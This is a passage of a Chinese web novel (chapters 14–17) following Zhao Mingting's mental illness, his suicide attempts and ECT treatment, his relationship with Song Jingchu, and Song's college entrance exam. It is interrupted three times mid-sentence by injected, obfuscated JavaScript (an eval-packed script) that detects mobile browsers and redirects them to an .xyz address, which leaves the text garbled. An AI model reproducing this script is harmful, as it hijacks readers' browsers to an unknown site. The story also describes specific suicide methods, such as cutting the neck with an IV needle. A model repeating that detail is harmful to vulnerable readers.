明明不是第一次被抱了,但赵明庭还是会忍不住因为这种事而感到心跳加速,浑身上下的细胞都在疯狂颤栗,疯狂地叫嚣着自己的喜悦,就连血液仿佛都要沸腾了。 宋景初稳稳坐下,让赵明庭趴在了自己腿上,赵明庭瞬间脸红得不行,说什么也要溜,刚起身还没跑两下就被宋景初提着后颈给抓了回来。 “我不行,我做不到……”赵明庭极难为情地看着宋景初,有些欲哭无泪。 宋景初哭笑不得,笑道自己又不会吃人,赵明庭扶着腰,满脸不信任地看着宋景初道:“我不信。” “乖,过来。” “不要。” “我就数三下。”宋景初笑着开始倒数。 “三。” “二。” “……” “好了好了我投降了。”赵明庭老老实实地趴在了宋景初腿上,没敢再多说什么。 宋景初满意地点了点头:“好乖。” “明明我比你大好多,为什么我要被当成小孩子照顾?”赵明庭气鼓鼓地看着宋景初,那副模样,活像一只嘭成气球的小河豚,可爱极了。 宋景初拍了拍他的屁股,淡定道:“自己想。” “。”赵明庭瞬间老实了:“别拍我,好疼。” “疼就长长记性,记住什么话该说,什么话不该说。” “你变了。”赵明庭皱起了眉头:“你之前不是这样的。” 宋景初气定神闲地回道:“我一直都是这个样子。” “不,你之前明明没有这么凶。”赵明庭将脑袋埋进沙发,喃喃自语道:“你之前明明很听我的话,对我很温柔……” 宋景初笑了:“我装的。”我摊牌了。 14.第 14 章 论起扮猪吃老虎这一套,宋景初也算是颇有心得,赵明庭那点儿小心思放在他面前完全不够看,早些的时候因为不敢相信赵明庭会爱上自己,再加上宋景初有些恋爱脑,一时间才没完全看出来赵明庭的心思,只隐约地觉察到了一些,却又不好点破,后来阿水彻底扒了赵明庭的底裤,宋景初才敢确认,原来赵明庭果真是玩勾引那一套的,又不明面上表现出来,只是不断地引诱宋景初一步步地走向他。 而现在不一样了。 宋景初已经不会再被那些花言巧语哄骗,也完全无视了赵明庭的一切装柔弱扮可怜,现在的他已然成为了黑化版的大灰狼,叼住了赵明庭这只小绵羊死不松口,于是可怜的赵明庭毫无抵抗还手之力,只能沦为盘中餐,被宋景初彻彻底底地吃干抹净。 赵明庭听见宋景初的解释,一头扎进沙发里,郁闷道:“那你为什么就不能再多装一装呢?” 宋景初沉默半晌,才淡然开口道:“因为你真的很不听话。” “我没有。” “总是在故意惹我生气。” “不是。” “还用自己的生命威胁我。” “这个我可以解释的……” 赵明庭起身,心虚地看着宋景初,暗地里搓了搓手,生怕宋景初下一秒就会生气,然后将他扔在原地,头也不回地离开。 “你不要生气,我以后不会这样了。” 宋景初摇了摇头:“你骗我。” “我没有,我真的不骗你,我这次说到做到!”赵明庭紧紧抓住了宋景初的手,那副模样就像是犯了错的孩子,疯狂渴望得到父母的原谅,然而宋景初不是心软的家长,他亲了亲赵明庭的眼睛,只手摩挲着赵明庭的后颈,惹得对方缩起了脖颈,忍不住地一直向后躲,却被径直压回了原位,目光直直地与宋景初相撞。 “我不会再相信你说的任何一句话了。”宋景初无情地宣判着赵明庭的罪行:“无论你说的多么诚恳,我都不会再信。” 赵明庭急得眼泪都快要掉下来了,几乎是在苦苦哀求:“我以后真的不会再这样了,你再相信我最后一次,好不好?我真的会改!” 宋景初笑道:“那得看你表现。” 于是某天: 晨之初始,日光朦胧,声若蝇蚊,泪目潮红,身飘如云端之浮,心挂如芒针在下,轮回千转,求不得终,承转启合,与君融融,极乐之巅,如登万步,怜语慰卿,卿不得顾。 解罗宽带,明台混沌,日月高悬,至之觳觫,眸有泪光,难言其思,笑语吹灯,眉头轻蹙,身如鳅鳝,然有重石覆其之上,摇尾乞怜,公子相从恋不由衷。 展平罗帐皱如纸,欲语还休泪先流,仓皇逃之不能得,乐意笑语夜难休。 交颈未眠,恍如梦中,恋恋难舍,不吝春风,花语冰心,蝶伴其侧,媚魂柳骨,枕上休宿,淋漓不尽,倦怠不已,连理枝头,更属得意,情难自禁,鸡唱五更。 面色如梅香自绽,身如雨打下枝木,无端问卿卿不语,笑言泣涕两相合,惜他身如蝉翼纸,不敢高声恐惊吓,千怜万怜如珍玉,双唇轻点桃色眸。 热闹的清晨,于是就此拉开了序幕。 宋景初不知道又想起了什么,坏笑了一下故意问道:“喜不喜欢我?” “喜欢……” “那宴会上那个男的呢?” 赵明庭摇了摇头。 宋景初眯起了眼,幽幽道:“我好像听不太懂。” “不喜欢,我喜欢你,我只喜欢你一个!”赵明庭坚持不住了,哭腔求饶道:“放过我好不好…景初,我真的不能再……” 然而话音还未落,赵明庭的声音就陡然之间转了好几个声调。 一时间,整个世界都像是被按下了暂停键,将短短的十几秒拉得很长,很长,几乎成了一种折磨。 长到赵明庭再也忍受不住了,崩溃地哭出了声,宋景初低头,吻了吻他的唇角,鼓励似地道:“好乖。” 赵明庭哭得上气不接下气,满眼委屈地看着宋景初,恨不得能一夜流尽西湖水。 宋景初将人搂进怀里,摸着脑袋轻柔安抚,赵明庭却仍旧哭得厉害,只一味地紧紧抱住宋景初,寻求那最后一丝心里的安慰。 “景初,我只喜欢你一个……”赵明庭哭着,泪眼朦胧地看着宋景初的脸。 “我知道,你做的很棒,不哭了好不好?一会儿眼睛要肿了。”宋景初抬手替他擦干净泪水,将人抱在怀里,让他小小的脑袋紧紧地贴住了自己的胸口。 赵明庭用力点了点头,将头靠在宋景初的怀中。 火热的胸膛,柔软的被窝,有力的心跳,还有爱人温柔的声音,一切的一切都如同梦境一样让赵明庭不敢相信,却又真真实实地存在着,就好像这一次名为幸福的女神终于降临在了他的世界。 幸福曾经遥不可及,现在却变得触手可得,赵明庭太害怕自己会再次失去这份爱意,于是拼了命地收敛起自己的一切锋芒,无论如何也要将宋景初牢牢地留在身边。 可他仍旧不懂宋景初的心。 明明做着最亲昵的事,明明已经紧紧抓住了彼此的手,却仍旧有种若即若离的感觉始终包裹着赵明庭,时常令他会喘不过来气。 他想,打碎的镜子无论怎么粘黏,终究回不到最初完整的模样,裂缝仍旧存在,再次碎成一地也只是时间的问题。 他太害怕自己会被抛下,于是什么都愿意去做,俯首帖耳,百依百顺。 甚至最疯狂的那段日子里,赵明庭发病的时候都只敢咬自己,想说脏话的时候立马就能反应过来,然后狠狠地抽自己一个耳光。 宋景初看在眼里,也疼在心里。 他在想,也许是自己的话真的伤到了赵明庭的心,害他如今成了这副模样,所有的本性都被自己那番自以为理解的话给强行扼杀在了摇篮里。 这对赵明庭来说又何尝不是一种残忍,可于宋景初而言,喜欢的人对自己不停地恶语相向,也是一种莫大的痛苦。 赵明庭深爱着宋景初,所以甘愿压抑本性不惜伤害自己,宋景初也深爱着赵明庭,所以任凭对方肆意打骂都不愿离开,谁都没有错,但好像谁都有错,于是事情陷入了死胡同,似乎无论如何都找不到第二种解法。 所以两人只能缄默不言,如履薄冰,默契地不愿再提起这些事,生怕一不小心就会打破这段微妙的平衡。 然而还是有人率先撕开了这段关系的遮羞布。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15518563|169378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那是一个阴沉的午后,赵明庭情绪低落,一时间哭得撕心裂肺,泪水不断涌出,怎么也无法停止,宋景初心疼地将人抱住,安慰的话语一句接着一句,然而对方却充耳不闻,用力将他推开,随后转身跑向了阳台,打开窗户就准备纵身一跃。 万幸在即将要跳下去的前一秒,宋景初用尽全身的力气冲了出去,一把将人拉住,狠狠地压在了地上,赵明庭整个人都在不停地颤抖,绝望地闭上了双眼,宋景初心脏都快要跳出来了,恨不得狠狠地把赵明庭压着打一顿,却又狠不下来心,连他一根头发都舍不得动一下。 赵明庭完全陷入了崩溃之中,就连呼吸都变得极为困难,越发急促,宋景初将人紧紧抱在怀里,一下又一下拍打着他的后背,试图安抚他的情绪,然而赵明庭已经完全听不见任何话了,大脑里不停地嗡嗡作响,眼前也逐渐变得一片模糊。 赵明庭又一次晕厥了。 醒来的时候已经是第二天的晚上,赵明庭睁眼,入目的是宋景初猩红的双眸,像是熬了很久都没有休息,已经变得有些颓废憔悴。 见赵明庭醒了,宋景初嗓音微哑,轻声开口道:“有没有哪里不舒服?” 赵明庭平静地摇了摇头。 宋景初松了口气,脸上露出了释然的笑容,他动作轻柔地握住了赵明庭输液的手,像是在捧着珍贵的宝物,赵明庭不知为何,内心忽然像被针扎了一样,细细密密地蔓延过一阵疼痛。 他好像总是这样,永远都做不到许下的承诺,所以爱他的人才会选择离他而去,才会抛下他一个人,任由他自生自灭。 赵明庭光是假想了一下宋景初要离开的场景,眼里就瞬间蓄满了泪水,他反握住了宋景初的手,语气里染上了几分自己都未曾察觉的卑微。 “别走……” 不知道是第多少次挽留了,似乎每一次发病过后,赵明庭都在苦苦哀求宋景初的原谅,却永远都在下一次发病的时候再次将刀子狠狠扎进了宋景初的心。 宋景初闻言,什么话也没有说,只是静静地回望着赵明庭泛红的双眼,表情不悲不喜。 赵明庭瞬间悬起了一颗心,像是被放在案板上待宰的羔羊,等待着宋景初残忍的宣判,然而就在他即将要再次溃不成军的时候,宋景初却将他的松开了,转身就出了门。 这一瞬间,赵明庭的心好像都要碎了,疼到说不出一句话,甚至连眼泪都流不出来了,只是呆滞地看着自己的手,上面还留存着宋景初温热的体温,而心却已然变得冰冷。 赵明庭心想,这面镜子终究还是被打破了,再也回不到最初的那份完整。 他不怨任何人,只怨自己为何要生在这世上,为何要让他经历这些痛苦,却又一次次给他生的希望,然后再踩碎。 如果这就是他的命,他情愿接受,可是他无法容忍自己一次又一次地将别人的心伤害得七零八落,自己却又无可奈何,太痛苦了,他真的已经承受不住了,想要逃离,想彻底解脱,可所有人都在拼命地将他拉住,于是他只能被吊在悬崖边,承受着道德和病痛无尽的折磨。 就这样吧。 赵明庭用力扯下自己手上的针头,对准了自己的脖颈。 他真的,受够了。 15.第 15 章 救护车赶到的时候,赵明庭整个人都躺在了血泊之中,一旁的宋景初跪在地上不知所措,只能极力地捂着赵明庭脖子上的伤口,不让血液继续大股大股流出。 一群人急忙将赵明庭送上了救护车,宋景初腿都是软的,连站都站不起来,只能眼睁睁地看着赵明庭被众人带走,而自己却浑身抽了力气,连开口说话都已经做不到了。 万幸赵明庭用的力气不是很大,只是划开了主动脉,并没有完全割断。 输完血缝完针之后,医生让赵明庭在医院留一周观察情况,阿水和对方简明扼要地进行交接之后,就出了门去取报告,让江夏留在病房里照看赵明庭。 宋景初呆坐在沙发上,始终想不明白赵明庭为什么会突然自杀,他只是见输液瓶里的药快要见底了,想去叫阿水换药,回来之后就看见赵明庭脖子上划了一个口子,疯狂地往外喷血。 病房里人不少,几乎赵宋两家的长辈都在,却出奇的安静,没有一个人说话,赵明庭安静地躺在床上,阿水让医生给他注射了镇定剂,所以他这会儿还没醒来,依旧在熟睡。 赵幼栀坐在宋景初旁边,轻轻地抚摸着他的后背。 “宝贝,不要太过于自责了,没有人是完美的,怎么可能做到不犯任何错误?” “可是我差点儿害得他没命了。” 宋景初揉了揉眉心,深深地叹了口气。 “没关系的,宝贝,从明天开始,你不用再照顾明庭了,把这个任务放心交给江夏和阿水吧,某种程度上他们比你更专业,而且阿水和明庭呆在一起的时间也更久,更了解。” 宋景初沉默地点了点头。 病房里不让抽烟,宋华站在门外,默不作声地点了一根又一根。 一群人都静默着,几乎谁也不愿意先主动开口。 于长辈而言,赵明庭是他们从小看着长大的孩子,虽不是亲生骨肉,但也几乎和自己生的一样亲了,于父辈而言,赵明庭是他们从小一直照顾到大的弟弟,已然情同手足,如今这个场景,自然是谁都不希望看到的。 然而也不全是宋景初的错。 之前在国外的时候,赵明庭也自杀过很多次,再怎么盯着,也总是会有松懈的时候,很难做到完全监视,英国的庄园里每个角落都安装了监控,但还是能被赵明庭找到盲区,哲森几乎是日夜不离,寸步不弃地跟在赵明庭身边,却也能被赵明庭想尽办法甩开,找到独处的机会。 所以众人面对这样的情况,根本无从下手,又不能把他送进精神病院,害怕二次诱发他的病情,也不能强制将他捆住手脚,会更加刺激到他的情绪。 太棘手了。 片刻之后,阿水回来了,手上拿着厚厚一叠报告,宋华灭了烟跟着阿水进了门,一群人围坐在桌前,都在紧张地等待着阿水的宣判。 “事已至此,我就不说那些虚话了,你们一直拒绝赵先生接受mect治疗,理由是会严重损伤到他的记忆力,导致他无法进行正常的工作,但现在,据我所知,赵先生名下的公司几乎都已经转移到了宋华宋先生的手中,前些日子就已经由宋先生的团队进行经营和管理了,你们也已经看到了,这些年以来,几乎每一年赵先生都会尝试自杀,这个想法他从未改变过,病情也越来越重,越拖越差,之前我一直在听你们的意见,选择保守治疗,但是如今,我希望各位能多给我一些信任,因为赵先生的病,真的不能再继续拖下去了。” 赵幼栀轻轻地抹去了眼角的泪水,轻柔开口道:“对不起,阿水医生,之前是我们的想法太过片面,阻碍了你的治疗方案。” “夫人,您不必道歉,您只需要告诉我,我是否可以对赵先生采用新治疗方案就够了。” 赵幼栀郑重地点头:“这次我们听你的。” “好,只要有您这句话,我就敢放心去做了,但是有句丑话我还是要说在前面。”阿水严肃道:“赵先生的病目前仍旧无法根治,只能说是尽量让他保持稳定,减少发病次数。” 宋华揉了揉猩红的眼:“真的没办法治好吗?” “宋先生,我只能这样讲,这个病到目前为止还没有出现过治愈案例。” 众人神色复杂,空气一时间也变得极为凝重。 “而且我有一个建议,宋先生,您最好将您的儿子带回家去,他已经不适合再继续呆在赵先生身边了,这段感情于赵先生和他而言都已经产生了不好的影响,所以二位暂时还是不要再接触了。” 宋景初闻言抬起头,目光里有些许的不可置信,转瞬却又认命般沮丧地低下了头。 阿水说得对,他确实不应该继续留在赵明庭身边了,这段感情实在带给了他们太多的困扰和伤害,也是时候分开一段时间,给彼此留点儿余地了。 离开的时候,宋景初回望了一眼赵明庭的脸,毫无生气,像一个精致的玩偶。 他想,如果手术之后,赵明庭还会记得他,他就选择和他在一起重新开始,如果不记得他了…… 那这一次,就让他来主动。 * 手术持续进行了一周,这一周内,赵明庭总共做了六次mect,回到家的时候整个人都是麻木的,几乎完全没有了任何情绪,不悲不喜,也对外界的刺激没了反应。 有时候,江夏要叫很多遍,赵明庭才能反应过来他是在叫自己,更糟糕的是,他的记忆力严重下降,很多事情都被完全忘记,怎么也想不起来,就好像人生里突然多了一片空白,什么也抓不住,什么也摸不到。 他忘记了小时候的事情,忘记了父母的死因,忘记了自己为什么会来到中国。 这些事他忘了,也没人告诉他,大家都害怕再次刺激到他,所以选择闭口不谈。 于是赵明庭每天都在疯狂地回想一切,却怎么也抓不住记忆的碎片,就像是生命中的痕迹被擦去了一笔,变得极其有割裂感。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15519754|169378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 宋景初开学了,回到学校之后,几乎是拼了命地在学习,以前的狐朋狗友都被他抛在了一旁,就连赵颜薇也不再能随意和他插诨打趣了。 他整个人都像是变了一样,不再像从前一般肆意阳光,几乎是有些阴鸷疯狂,赵颜薇从赵幼栀口中听说了一些只言片语,心中担忧的同时却又在深深怀疑这些话究竟有几分真几分假。 她根本不相信赵明庭会病成这样,上一次见到赵明庭的时候,他还是个特别温柔的人,像秋日的阳光,温暖和煦。 然而某天她去赵明庭的园子里取东西的时候,亲眼看见赵明庭从二楼跳了下来,重重地摔在了花坛里。 第二天,整个园子一周都铺上了保护垫,家里的所有家具也都搬空了,实在无法搬走的也包上了厚厚的保护垫。 赵颜薇去看望赵明庭的时候,几乎是有些不愿意相信,印象里那个如花朵一样美好的人,如今变得形销骨立,行尸走肉一般安静地躺在床上,像是已经离去了很久,细细上前端详,却又能发现他其实还在挣扎着,拼命地想要活着。 回到学校的时候,宋景初难得和她主动搭了话,赵颜薇失魂落魄地坐在位置上,一声不吭,没一会儿就掉下了眼泪。 宋景初已然知晓了情况,也默默地低下了头,他将赵颜薇抱在怀中,轻轻地拍着她的背安抚她。 赵颜薇紧紧抓住了宋景初的校服,泪水不断涌出。 是夜,宋景初疲惫地回到家,躺在床上百无聊赖。 他看了一眼日期。 五月八日。 距离高考就剩一个月了,他好像马上就解脱了,却又好像怎么也解脱不了。 高考之后他要做什么呢? 打开班级群,有人决定出国,有人想去旅游,有人被逼着去考驾照,有人将被父母送进公司体验生活。 宋景初什么也没想好,父母一直都在放养他,所以也不会干涉他的生活。 起初他想等高考结束后去找赵明庭,可思来想去之后又害怕赵明庭真的会忘记自己,一切都要重新来过。 他害怕自己的出现会再次刺激到赵明庭,可是他实在放不下那个孤单可怜的人。 孤寂的夜晚,他是否会因为噩梦而惊醒,又是否会因为药物难受到吃不下饭,睡不着觉,每日是否仍旧昏昏沉沉,提不起兴趣,郁郁寡欢…… 他实在挂心,却又真的没有勇气去一探究竟,只能通过别人的只言片语来想象赵明庭的生活。 我过得很不好,你呢? 宋景初删删改改,最终还是将草稿纸上的一大段话全部划掉了。 最后一场模考,英语读后续写,讲述了maria的花因为得不到精心照料而枯萎死去,她因此很伤心,却又不愿意再养一盆新的花朵,害怕因为她的疏忽,再次让一个生命枯萎,却又着实想念花朵的芬芳,思念它的艳丽。 于是纠结之中,她选择:…… 16.第 16 章 宋景初沉默地看着考题,斟酌了许久,最终还是重新动了笔,修修改改,却怎么都不满意。 他想,这几乎是是个无解的命题,又想看到花的艳丽,又无力承担起养育责任的人,本身就不配拥有最美丽的花朵,然而又不能完全责怪养花的人没有用心,只能称她一句有心无力。 思来想去,宋景初还是觉得maria不配养花,于是大笔一挥,将故事续写成maria又买了一盆花,仍旧养死了,于是从此以后再也不养了,彻底打消了这个念头。 最后只得了十五分。 宋景初不信邪,拿着答题卡去办公室问王音,办公室里王音不在,只有一个外教英语老师。 宋景初上前,将自己的困惑讲了出来,外教老师所有所思地点了点头,于是将标准答案放出来给他看。 他凑上前,盯着电脑屏幕,一个词一个词认真地看了过去。 答案写道:maria反思了一整夜,最终决定重新买了一盆花,她痛思己过,每天都认认真真地给花浇水,精心照料,终于在几个月后看到了最美丽的花朵,maria很开心,将花朵摘下,包成许多小花束,将花束分发给了邻居们,共同分享这份坚持的喜悦,maria很开心,邻居们也很开心,还回给了maria很多独特的礼物,这一次,maria终于收获了用心对待一件事带来的回报,同时也明白了一个道理:赠人玫瑰,手有余香。 宋景初看完之后,彻底沉默了。 说不上来哪里有问题,但又确实有问题。 只能说不愧是应试教育,答案永远是正面的,永远积极向上。 可是宋景初始终不认为maria会改过自新,一个人的习惯是难以改变的,不会因为简简单单地吃了一个小亏就有所改观。 伤痛具有保护机制,会随着时间推移而逐渐被淡忘,以至于自己不会那么痛苦,得以让陈年难愈的伤口逐渐长好,同时也会麻痹修改记忆的存在。 可如果就这样轻易地翻篇了,那先前受到的伤害又算什么,曾经那些不美好的过往又当如何? “可是孩子,人总归是要向前看的。”女人推了推眼镜,温柔地握住了宋景初的手:“人往高处走,水往低处流,时间是治愈伤痛最好的良药,前提是不要反复去揭开伤口,一直回头看是没有用的,路在脚下,只有往前走才能看见以后。” 宋景初茫然,他还想再据理力争些什么,可是看见了女人温柔的模样,却又说不出争辩的话。 如果这样就可以翻篇了,那第一盆花朵的死亡究竟算什么呢?无人在意的角落里,她是否也会羡慕着新花朵的艳丽,羡慕着她的芬芳,明明自己也可以像她一样,却因为别人的失误而被毁掉了自己的一生,一定要靠她的离去让别人醒悟吗?一定要用自己的血与泪才能滋养别人的成长吗?为什么故事的最后一定要牺牲掉某个人,某件事,导致主角彻底醒悟有所改变之后才能让故事得到圆满的升华? “我知道你在想什么,你就是太钻牛角尖了,这只是一盆花,第一盆花的死亡并非没有价值,它让maria成功醒悟,明白了什么叫责任,maria也在此之中得到了成长,这是一件很好的事,难道不是吗?” 宋景初沉默半晌,轻声开口道:“可第一盆花终究还是死掉了,又有谁会在意呢?” 老师没再开口,只是静静地握住了他的手。 片刻之后,她道:“我不知道你经历了什么,年纪轻轻思想就如此沉重,但我相信你是一个聪明的孩子,一定能想通这个道理,生活中有时候就是会有很多遗憾,然而这才恰恰是正常的,万事万物没有十全十美,有得必有失,有失必有得,你们中国人讲究得失是相平衡的,我认为很有道理,因为只有这样,这个世界才能维持他的稳定,难道不是吗?” “可为什么一定要靠某人某事的牺牲来成全自己的成长和醒悟呢?”宋景初顽固道:“我不明白,为什么总是要这样,人天性都是顽劣的,骨子里的劣根性是很难改掉的,至少在我眼中看来,maria不会因为养死了一盆喜欢的花就痛改前非认认真真地去养下一盆,第一盆花能被她养死,归根结底就是因为她根本不够在意,不够喜欢,所以她就是不配再养第二盆。” “好吧,有时候我必须承认你说的是对的,事实上我也不认为maria会痛改前非。”外教一摊手,无奈道:“可是中国的应试教育需要的是积极向上听话的人才,我在中国教学了十六年,思想早就已经被同化了,我很高兴你今天能将这个想法告诉我,但是这篇作文,我仍旧只会给你15分,很抱歉,但为了你的前途,我只能这样做。” 宋景初点了点头:“谢谢您认可我,分数对于我来说并不重要,我真正在意的只有您的想法是否会和我相同,打扰您了,再见。” “再见孩子,祝你开心。” 出了办公室之后,宋景初就撕了答题卡,揉成一团扔进了门口的垃圾桶。 说不上来那一刻是什么心情。 宋景初只觉得自己闷得慌,心口像是压着一块重石,整个世界的气压都变得极低,像是在预示着风雨的来临。 晚上下课的时候,狂风骤雨倾泻而下,尽管司机一直替他打着伞,可回到家的时候他身上还是不可避免地被淋到了一点点,肩膀处有些湿。 宋景初烦躁地进了浴室,匆匆冲完澡之后,只裹了一条浴巾出来,刚走到卧室里的客厅处,就看见了一个熟悉的背影。 他揉了揉眼睛,怀疑自己是不是眼花看错了了,然而那人却忽然转身,一双目光直直与他撞了个满怀。 “明庭?”宋景初皱着眉,沉寂了许久的心久违地再次掀起了波澜。 “你认识我?”赵明庭见宋景初上身没穿衣服,瞬间羞红了脸,将头转到了一旁:“你,你先把衣服穿好。” 宋景初一点头,狐疑地看着赵明庭躲着自己的身影,慢条斯理地穿上了衣服。 “你为什么在我房间里?”宋景初套了一身黑色运动服,将雕塑般完美的身材勾勒到了极致,宽肩窄腰大长腿,发丝末端还微微挂着几滴水珠,看得赵明庭眼睛都要直了,却又不敢表现出来,只是端正了身子,强忍着笑意道:“我来找栀栀姐,她在忙,让我先来你房间找你聊天。” “你什么时候进来的?” “你洗澡的时候。” “你知道我是谁吗?” “栀栀姐的儿子。” 宋景初不想再听了,抓起赵明庭的双手,粗暴地将人压倒,整个人欺身而上将对方压在身下。 赵明庭被对方吓到不敢出声,只能怔怔地看着宋景初阴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15561448|169378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鸷的脸,一双眼睛里似乎隐忍着怒火,最终却全都变成了无尽的失望,化成一滴晶莹的泪水滴在了赵明庭的脸颊旁。 赵明庭不明所以,只是茫然地看着宋景初,不知为何,他忽然感觉心里很痛,像是曾经的记忆要呼之欲出,连同头都在阵阵发涨,他好想知道对方究竟是谁,为什么将他压在这里,又为什么会落泪,他和对方之间究竟发生过什么,他真的很想知道,可是脑海里始终一片空白,什么也回想不起来。 两人一时间就这样互相看着对方的双眼,一个满眼失望,一个满眼无助。 到了,宋景初双目通红,像是不愿再纠缠什么了,起身将人放开,指着门的方向道:“刚才是我失礼了,不要问原因,对你我都不好,请离开吧。” 赵明庭不明所以,但还是磕磕绊绊地起身离开了。 走的时候他回望了一眼,只见方才面色如同冰渣一般的男人,早已经坐在沙发上捂着脸痛哭出了声。 和赵幼栀简单地相谈了几句,取走东西之后,赵明庭就回到了家,一路上,他始终在想宋景初看着自己的那双眼睛,他不明白那双眸中为何会带着不可言说的哀痛,却又不知一切的一切该从何想起。 自从做完手术之后,他几乎丢失了绝大部分的记忆,对整个世界都极其茫然陌生,身旁的哲森变成了江夏,博士也变成了阿水医生,居住的地方不再是赵家的庭院,而是这座从未见过的陌生园子,每天都在努力回想着先前的记忆,却无论如何也没有任何思绪,他像记忆就像是被彻底从之前的躯壳里剥离了出来,一切的熟悉感都不复存在,留给他的只有白纸一般的世界。 万幸江夏和阿水是很可靠的人,无时不刻陪在他身边,开导他,帮助他。 阿水告诉他,之前他生了一场很严重的病,但是现在已经完全治好了,而代价就是会失去所有让他难过的记忆。 赵明庭若有所思:“所以我忘记的,都是不好的事,没必要再去追寻那些令我难过的记忆了,对吗?” 阿水笑着点头:“就是这样。” “可是我心里总觉得,我忘记了一个非常重要的人。”赵明庭捂着抽痛的心脏,微微皱起了眉头:“直觉告诉我,我一定要记起他是谁,我一定要找到他。” 阿水隐约有种不好的预感,语重心长道:“既已经彻底痊愈,又何必再去追寻过往种种呢,不过是徒增烦恼,惹自己伤心,不如就此放下,重新开始。” 赵明庭思索着,有些认可,却又不太认可:“倘若那个人对我真的很重要呢?” “倘若他会给你带来更大的伤害呢?”阿水语气瞬间就冷下来了:“你还要继续去寻找吗?” “那就让他放马过来好了,我不相信世界上还会有谁能伤害到我。”赵明庭眉眼弯弯道:“不要这样啦,阿水,笑一下嘛,我可是很厉害的。” 阿水没接话,起身就离开了。 赵明庭不明所以地看着女人离开的背影,隐约察觉了些什么,却又难以窥探到真相,于是心里更堵得慌了,只能闷闷地叹了口气,坐在茶桌前无奈一笑。 和煦的微风,温暖的阳光。 真好啊。 似乎从前也有人在这样的日子里陪他闲聊。 可上一个像这样陪他坐在这里谈天说地的,究竟是谁呢。 17.第 17 章 夏日炎炎,又一年高考季来临。 听说今年的考题颇有难度,尤其是英语,比往届一连提升了好几个档次。 众人坐在保姆车里,都不由得为宋景初捏了一把汗。 要知道宋景初所有科目都是无可挑剔的,唯独一门英语简直是学到狗肚子里去了,模考这几次虽然大有进步,可对比其他科目,还是在拖后腿。 距离考试结束还有半个多小时的时候,今年第一个出考场的考生出现了,几乎是一从大门里出来,记者就蜂拥而至上前将考生围住。 “请问你觉得这场英语考试难度如何?” “这么早就交了卷子,看来你对这次考试很有信心,是吗?” “请问你是哪个学校的学生?” “作为今年英语考试第一个出考场的学生,请问你有什么话要送给大家?” 宋景初被一群记者挤来挤去,都快要站不稳了,他大手一推,将众人和自己生生隔离开了一道间隙,微笑道:“不难,很有信心,学校不方便透露,之后你们就知道了。” “那还有最后一个问题呢?” 宋景初思索了片刻,认真道:“希望大家都能和我一样金榜题名吧。” 看来是真有信心。 一群记者当中有几人面面相觑,却敏锐地察觉到了这个考生不一般,于是纷纷将摄像机架起准备来几张高清特写,可还没拍上就瞬间被一群保镖隔开,挡在了外围,一瞬间什么也看不见了。 看来不仅有信心,开头还不小。 宋景初在保镖的簇拥之下悠闲地上了自家保姆车,一上车爹妈就瞬间围了过来,又是递水又是擦汗,一通嘘寒问暖。 “臭小子,怎么这么早就交卷了,真打算不上学了滚回来继承家业?不过家里产业太多了,也正好缺个人帮你爹我分担。” “爸,对我有点儿信心吧。”宋景初扶额苦笑道:“我只是一直深藏不露,又不是真的菜。” “那正好啊,快,让你爹装把大的,你等着,我现在就把之前订的那家宴会厅改了,改成全市最大的那家宴会厅。” 宋景初挠了挠头:“倒也不至于。” “不管考得如何,都得订最大的那家呀。”赵幼栀一巴掌抽在宋华头上:“我给你的钱你是不是又私吞了一半,才订了个小的?” 宋华抱头窜到另一边叫喊道:“媳妇儿我错了!唉臭小子你就不拦一下吗,眼睁睁地看着你爹挨打啊。” 宋景初一笑道:“抱歉,但是阻拦美女的事情我做不到。” 一家人欢声笑语地回了家,到家之后,宋景初吃完饭就早早地睡了觉,精神十足地迎接次日的化生考。 终于考完的那一天,已经是下午六点了。 走出考场的那一刻,不少人都掩面痛哭,并非难过,而是喜极而泣,庆幸自己终于完成了十八年以来最大的使命,从极度的痛苦之中得以逃脱,仿佛人生至此就已经彻底圆满了,殊不知真正的挑战从此刻才正式开始。 不过眼下,少年们似乎并不能意识到这一点,倒也没有关系,人要活在当下,至少在这一刻,所有的解脱与快乐都是发自内心的,像沉寂在地底的蝉,蛰伏十八年,只为在这一个夏天,能够发出世界上最响亮的叫声。 宋景初也百感交集。 考场里合上笔的那一瞬间,几千个日夜的努力和泪水在这一刻有了圆满的答卷,像是终于完成了一场伟大的献祭,也像是在和曾经奋斗的自己做了个告别。 高考无疑是人类历史上的一场壮举,以最短的时间,汲取最多的知识,然后单枪匹马,只笔挑战来自全国各地资历深厚学识丰富的顶级名师。 一张高考试卷凝聚着整个国家最精华的智慧,代表着国家教育的高度,在这场考试当中胜出的,每一个都是同类之中的佼佼者,然而真正站在巅峰的,又只有极少数。 